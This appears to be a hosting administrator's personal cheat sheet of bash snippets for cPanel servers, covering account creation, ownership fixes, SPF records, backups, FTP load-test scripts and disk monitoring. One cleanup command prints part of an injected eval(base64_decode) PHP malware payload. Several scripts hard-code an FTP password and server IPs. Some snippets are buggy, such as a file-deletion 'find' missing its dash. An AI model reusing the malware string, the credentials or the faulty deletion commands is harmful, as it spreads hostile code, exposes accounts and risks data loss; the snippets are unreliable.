Reference
--------------
http://en.wikibooks.org/wiki/Bourne_Shell_Scripting/Appendix_C:_Quick_Reference
#!/bin/bash = Shebang to that specifies the interpreter or program to be used to execute the script
echo "print text"
$X = Read the value of X
if [ -n $X ]; then # -n tests to see if the argument is non empty
Loops
while [ $X -le 20 ] // ( -le is equel ) ( -lt Less than)
do
touch $X.html
X=$((X+1)) // (or) let X=X+1
done
for i in $( ls ); do //`seq 1 10` read 1 to 10 numbers
echo item: $i
done
COUNTER=20
until [ $COUNTER -lt 10 ]; do
echo COUNTER $COUNTER
let COUNTER-=1
done
Script to cut word from a line
ls | grep cpmove | grep 'tar.gz' | cut -d'-' -f2 | cut -d. -f1 >/tmp/usernames
(or)
ls | grep cpmove | grep 'tar.gz' | cut -d'-' -f2 | cut -d. -f1 | uniq >/tmp/usernames (uniq means uniqueness)
Script to restore pakage with help from the above
for i in `cat /tmp/usernames ` ; do echo "/scripts/restorepkg $i" ; done
Example script to rename "cpmove-bnjjj.tar.gz" like file to "cpmove-bnjjj.jpg"
ls | grep cpmove | grep 'tar.gz' | cut -d'-' -f2 | cut -d. -f1 >/tmp/usernames
for i in `cat /tmp/usernames ` ; do mv cpmove-$i.* cpmove-$i.jpg; done
script to cut lines which contain the word FOUND
for i in 'cat test'; do grep FOUND $i > rr; done
Script to restart a service
/usr/bin/pgrep named
if [ $? -ne 0 ]
then
/etc/init.d/named restart
fi
Script to add spf record for all accounts
---------------------------------------------
cd /var/named
ls *.db > test
cat test | grep .db | cut -d'.' -f1,2 > k
for i in `cat k` ; do echo $i. IN TXT "v=spf1 ~all" >> $i.db ; done
Sample script for create multiple cpanel accounts
------------------------------------------------------
#!/bin/bash
for i in `cat domains`;
do
echo "account $i creating"
echo " enter the account username:"
read r;
/scripts/createacct $i $r
echo "Account $r created";
done
Script to recursively search the keaywords in a file and find the exact file location
--------------------------------------------------------------------------------------------------
#!/bin/bash
cat /dev/null > result;
for i in `cat file`;
do echo $i >> result; echo ===================== >> result;
s=`pwd`
p=`grep -irl $i *`
for j in $p;
do
h=${s}/${p}
echo $h >> result;
done
done
Script to correct cPanel users and files ownership
-------------------------------------------------------------------------------
for i in `cat /etc/trueuserdomains | awk ‘{print $2}’`
do
chown $i.$i /home/$i -R;
chown $i.mail /home/$i/etc -R;
chown $i.nobody /home/$i/public_html;
done;
Script to move specific files from different folders to a specific Folder
---------------------------------------------------------------------------------------- For Hussin
#!/bin/bash
for ((i=12; i <= 180; i++))
do
echo recup_dir.$i >> test1
done
for j in `cat test1`;
do
cd /vz/restore
cd $j
ls | grep *.txt | xargs mv *.txt ../texts/
ls | grep *.tar | xargs mv *.tar ../tar-files
ls | grep *.gz | xargs mv *.gz ../gz-files
ls | grep *.*.gz | xargs mv *.*.gz ../gz-files
ls | grep *.tar.gz | xargs mv *.tar.gz ../tar.gz/
ls | grep *.html | xargs mv *.html ../HTML
ls | grep *.js | xargs mv *.js ../js-files
ls | grep *.php | xargs mv *.php ../PHP-files
ls | grep public_html | xargs mv public_html ../PUBLIC-folders
ls | grep log | xargs mv *grep* ../logs
ls | grep *.7z | xargs mv *.7z ../7z-files
ls | grep *.zip | xargs mv *.zip ../zip-files
done
----------------------------------------------------------------------------------------
Script to change contents from a file
===================================
Example:
sed -i 's/To: root/To: csf@skynethosting.net/g' *.txt
Find and replace all contents after a perticular keyword
==========================================
find /var/www/html/ -name "index.html" -exec sed -i '/<\/html>/q0' {} \;
find . -name "index.html" -exec sed -ie '/<\/html>/q0' {} \; ; [ $? = 0 ] && echo "Succesfully replaced and backup all index files with an extension of back"
Script to rsync some data if no other backup process are running
#!/bin/bash
PROCESS="/usr/bin/rsync -avz -e "ssh" /home/mybloghu root@65.98.23.18:/home"
PGREP="/usr/bin/pgrep"
RSYNC="rsync"
$PGREP ${RSYNC}
if [ $? -ne 0 ]
then
$PROCESS
fi
Script to remove a big hack script
=========================
for i in `cat /tmp/result.txt`; do sed -i '1s#eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNf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k7DQp9DQp9DQp9DQp9"));##g' $i ; done
Script to find cPanel account and its corresponding IP address
cat /etc/userdatadomains | perl -pi -e "s/^.*? //," | perl -pi -e "s/==.*==6/ 6/," | perl -pi -e "s/:80==//," | sort | uniq
cPanel script to assign IP via shell: /usr/local/cpanel/bin/setsiteip -u username IPaddress
Script to check cPanel CPU and Memory usage for a specific user
domain="thedomain.com"; for i in `seq 1 7 `; do let i=$i+1 ; let k=$i-1 ; let s="$(date +%s) - (k-1)*86400"; let t="$(date +%s) - (k-2)*86400"; echo `date -Idate -d @$s`; /usr/local/cpanel/bin/dcpumonview `date -d @$s +%s` `date -d @$t +%s` | sed -r -e 's@^<tr bgcolor=#[[:xdigit:]]+><td>(.*)</td><td>(.*)</td><td>(.*)</td><td>(.*)</td><td>(.*)</td></tr>$@Account: \1\tDomain: \2\tCPU: \3\tMem: \4\tMySQL: \5@' -e 's@^<tr><td>Top Process</td><td>(.*)</td><td colspan=3>(.*)</td></tr>$@\1 - \2@' | grep $domain -A3 ; done
Find and remove files which is older than 1year
find ./ ctime +365 | xargs rm -f
Script to automate FTP upload and Session generation
Script 1:
#!/bin/bash
HOST="54.175.55.252"
USER="sherinftp"
PASSWORD="d3fault123#"
DESTINATION="$1"
ALL_FILES="${@:2}"
touch $ALL_FILES
ftp -inv $HOST <<EOF
user $USER $PASSWORD
cd $DESTINATION
mput $ALL_FILES
bye
EOF
#Note: We can create multiple test files and upload them to the FTP server using single click. Please find the usage below,
#step 3: ./ftpuploadscript destination newfile1 newfile1 newfile2 newfile3 newfile4 newfile5
Script 2:
#!/bin/bash
HOST="54.175.55.252"
USER="sherinftp"
PASSWORD="d3fault123#"
DESTINATION="$1"
read -p "Number of Files: " filenum
read -p "File size:" filesize
read -p "File Prefix:" fileprefix
for (( i=1; i<=$filenum; i++ ))
do
dd if=/dev/zero of=$fileprefix.$i bs=$filesize count=1
ftp -inv $HOST <<EOF
user $USER $PASSWORD
cd $DESTINATION
mput $fileprefix.$i
bye
EOF
done
#Note: Using this script we can input number and size of files that we needs to be try uploading to the FTP server
#step 3: ./ftptestscript destinationdirectory (For upload to default ftp user directory use "./ftptestscript ."
Script 3: Generate Sessions
#!/bin/bash
HOST="54.175.55.252"
USER="sherinftp"
PASSWORD="d3fault123#"
read -p "Number of Sessions: " sessionnum
for (( i=1; i<=$sessionnum; i++ ))
do
ftp -inv $HOST <<EOF
user $USER $PASSWORD
bye
EOF
done
DIsk Usage Monitoring
#!/bin/bash
# Set the threshold limit for disk usage in percentage
threshold=90
# Define an array of partitions to monitor
partitions=(
"/"
"/var"
"/home"
# Add more partitions as needed
)
# Define an associative array of log directories to monitor with corresponding days to keep
declare -A log_directories=(
["/var/log"]="7"
["/var/www/logs"]="14"
# Add more log directories as needed
)
# Set email parameters
recipient="your_email@example.com"
subject="Disk Usage Alert"
body="Disk usage is above threshold. Removed old log files."
# Function to remove old log files
remove_old_logs() {
local log_dir="$1"
local days_to_keep="$2"
echo "Removing old log files in $log_dir..."
find "$log_dir" -type f -name "*.log" -mtime +$days_to_keep -exec rm -f {} \;
echo "Old log files removed in $log_dir."
}
# Function to send email notification
send_email_notification() {
echo "$body" | mail -s "$subject" "$recipient"
}
# Iterate through partitions
for partition in "${partitions[@]}"; do
# Get current disk usage percentage
disk_usage=$(df -h --output=pcent "$partition" | sed '1d;s/[^0-9]*//g')
# Check if disk usage exceeds the threshold limit
if [ $disk_usage -ge $threshold ]; then
echo "Disk usage for partition $partition is above threshold."
# Remove old log files for partition
for log_dir in "${!log_directories[@]}"; do
if [[ "$log_dir" == "$partition"* ]]; then
remove_old_logs "$log_dir" "${log_directories[$log_dir]}"
fi
done
# Send email notification
send_email_notification
else
echo "Disk usage for partition $partition is below threshold."
fi
done